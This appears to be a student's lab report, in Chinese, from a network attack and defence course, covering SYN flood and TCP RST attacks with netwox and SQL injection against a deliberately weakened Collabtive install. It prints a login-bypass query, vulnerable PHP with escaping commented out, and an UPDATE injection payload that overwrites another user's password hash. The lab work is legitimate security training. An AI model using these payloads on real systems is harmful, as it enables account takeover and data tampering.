zoukankan      html  css  js  c++  java
  • 20169201 2016-2017-2 《网络攻防实践》第11周学习总结

    实验一 TCP/IP协议攻击

    SYN 泛洪攻击实验

    查看靶机和攻击机的ip/mac地址

    • 攻击机Kali:

    • 靶机Linux Metasploitabl

    我们先用攻击机连接一下靶机的端口:

    可以看到,连接成功。

    靶机端口状况如下:

    现在对靶机的端口23进行洪泛攻击,此时查看靶机的端口状态:

    实验二 TCP RST攻击实验流程

    用靶机建立和SEED的23端口的连接,利用telnet命令

    打开netwox,调用第78号工具

    在wireshark当中也捕捉到了断开连接的数据包

    实验三 Collabtive 系统 SQL 注入实验

    SQL注入

    SQL注入:SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。

    SQL注入危害

    • 非法读取、篡改、添加、删除数据库中的数据。
    • 盗取用户的各类敏感信息,获取利益。
    • 通过修改数据库来修改网页上的内容。
    • 私自添加或删除账号。
    • 注入木马。

    环境搭建

    禁用Collabtive的若干防护措施,创建了一个容易受到SQL注入攻击的Collabtive版本。
    测试:http://www.sqllabcollabtive.com

    lab1 select语句的sql注入

    查看登陆验证文件:

    sudo vim /var/www/SQL/Collabtive/include/class.user.php
    

    找到其中第375行,构造一个语句,在不知道密码的情况下登陆;

     $sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");
    

    lab2 update语句的sql注入

    有一个在这个SQL语句中的SQL注入漏洞;

    sudo vim /var/www/SQL/Collabtive/include/class.user.php
    

    我们可以找到如下的代码

       function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
                  $zip, $gender, $url, $address1, $address2, $state,
                  $country, $tags, $locale, $avatar = "", $rate = 0.0)
        {
        $name = mysql_real_escape_string($name);
        $realname = mysql_real_escape_string($realname);
    
        //modified for SQL Lab
        //$company = mysql_real_escape_string($company);
        $email = mysql_real_escape_string($email);
    
        // further escaped parameters removed for brevity...
    
        $rate = (float) $rate;
        $id = (int) $id;
    
        if ($avatar != "")
            {
                $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                    tel1='$tel1', tel2='$tel2', company='$company',
                                    zip='$zip', gender='$gender', url='$url',
                                    adress='$address1', adress2='$address2',
                                    state='$state', country='$country',
                                    tags='$tags', locale='$locale',
                                    avatar='$avatar', rate='$rate' WHERE ID = $id");
            }
        else
            {
                // same query as above minus setting avatar; removed for
                // brevity
            }
        if ($upd)
            {
                $this->mylog->add($name, 'user', 2, 0);
                return true;
            }
        else
            {
                return false;
            }
        }
    

    这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;

    在编辑用户的位置:user 填 ted 用户;

    Company 处填:

    ', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
    

    注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;
    点击修改,然后我们退出当前用户,使用ted用户登录,密码:pass

  • 相关阅读:
    ‘Host’ is not allowed to connect to this mysql server
    centos7安装mysql
    further configuration avilable 不见了
    Dynamic Web Module 3.0 requires Java 1.6 or newer
    hadoop启动 datanode的live node为0
    ssh远程访问失败 Centos7
    Linux 下的各种环境安装
    Centos7 安装 python2.7
    安装scala
    Centos7 安装 jdk 1.8
  • 原文地址:https://www.cnblogs.com/tcle/p/6836575.html
Copyright © 2011-2022 走看看